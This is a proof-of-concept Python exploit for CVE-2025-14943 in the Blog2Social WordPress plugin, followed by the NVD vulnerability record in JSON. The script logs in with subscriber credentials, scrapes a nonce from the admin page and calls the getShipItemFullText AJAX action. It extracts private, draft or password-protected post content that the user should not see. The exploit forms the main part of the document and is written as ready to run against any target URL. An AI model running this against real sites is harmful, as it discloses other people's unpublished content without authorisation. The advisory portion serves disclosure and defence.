CVE-2025-14943

import requests import re # CVE-2025-14943 PoC - Blog2Social Information Disclosure # Target: WordPress site with Blog2Social plugin <= 8.7.2 target_url = "http://target-wordpress-site.com" username = "subscriber_user" password = "subscriber_password" post_id = 1 # Target post ID to extract session = requests.Session() # Step 1: Login to WordPress login_url = f"{target_url}/wp-login.php" login_data = { "log": username, "pwd": password, "wp-submit": "Log In", "redirect_to": "/wp-admin/", "testcookie": "1" } session.post(login_url, data=login_data) # Step 2: Extract nonce from admin page admin_url = f"{target_url}/wp-admin/admin.php?page=blog2social" response = session.get(admin_url) # Extract _wpnonce from the page nonce_match = re.search(r'name="_wpnonce" value="([a-f0-9]+)"', response.text) if not nonce_match: # Try alternative nonce extraction nonce_match = re.search(r'nonce":"([a-f0-9]+)"', response.text) if nonce_match: nonce = nonce_match.group(1) else: print("Failed to extract nonce") exit(1) # Step 3: Exploit getShipItemFullText function ajax_url = f"{target_url}/wp-admin/admin-ajax.php" exploit_data = { "action": "getShipItemFullText", "_wpnonce": nonce, "shipItemId": post_id, "type": "post" } response = session.post(ajax_url, data=exploit_data) # Step 4: Extract sensitive post content if response.status_code == 200: print(f"[+] Successfully extracted content from post ID: {post_id}") print(f"[+] Response: {response.text}") else: print(f"[-] Exploitation failed with status code: {response.status_code}")

{"cve": {"id": "CVE-2025-14943", "sourceIdentifier": "[email protected]", "published": "2026-01-10T07:16:02.343", "lastModified": "2026-04-15T00:35:42.020", "vulnStatus": "Deferred", "cveTags": [], "descriptions": [{"lang": "en", "value": "The Blog2Social: Social Media Auto Post & Scheduler plugin for WordPress is vulnerable to Sensitive Information Exposure in all versions up to, and including, 8.7.2. This is due to a misconfigured authorization check on the 'getShipItemFullText' function which only verifies that a user has the 'read' capability (Subscriber-level) and a valid nonce, but fails to verify whether the user has permission to access the specific post being requested. This makes it possible for authenticated attackers, with Subscriber-level access and above, to extract data from password-protected, private, or draft posts."}, {"lang": "es", "value": "El plugin Blog2Social: Social Media Auto Post &amp; Scheduler para WordPress es vulnerable a la Exposición de Información Sensible en todas las versiones hasta la 8.7.2, inclusive. Esto se debe a una comprobación de autorización mal configurada en la función 'getShipItemFullText' que solo verifica que un usuario tiene la capacidad 'read' (nivel de Suscriptor) y un nonce válido, pero no verifica si el usuario tiene permiso para acceder a la publicación específica solicitada. Esto hace posible que atacantes autenticados, con acceso de nivel de Suscriptor o superior, extraigan datos de publicaciones protegidas con contraseña, privadas o en borrador."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:L/I:N/A:N", "baseScore": 4.3, "baseSeverity": "MEDIUM", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "LOW", "integrityImpact": "NONE", "availabilityImpact": "NONE"}, "exploitabilityScore": 2.8, "impactScore": 1.4}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-863"}]}], "references": [{"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Get.php#L243", "source": "[email protected]"}, {"url": "https://plugins.trac.wordpress.org/browser/blog2social/trunk/includes/Ajax/Get.php?rev=3423620#L252", "source": "[email protected]"}, {"url": "https://www.wordfence.com/threat-intel/vulnerabilities/id/7374db91-4e7d-4db2-9c58-bb9bdda5c85d?source=cve", "source": "[email protected]"}]}}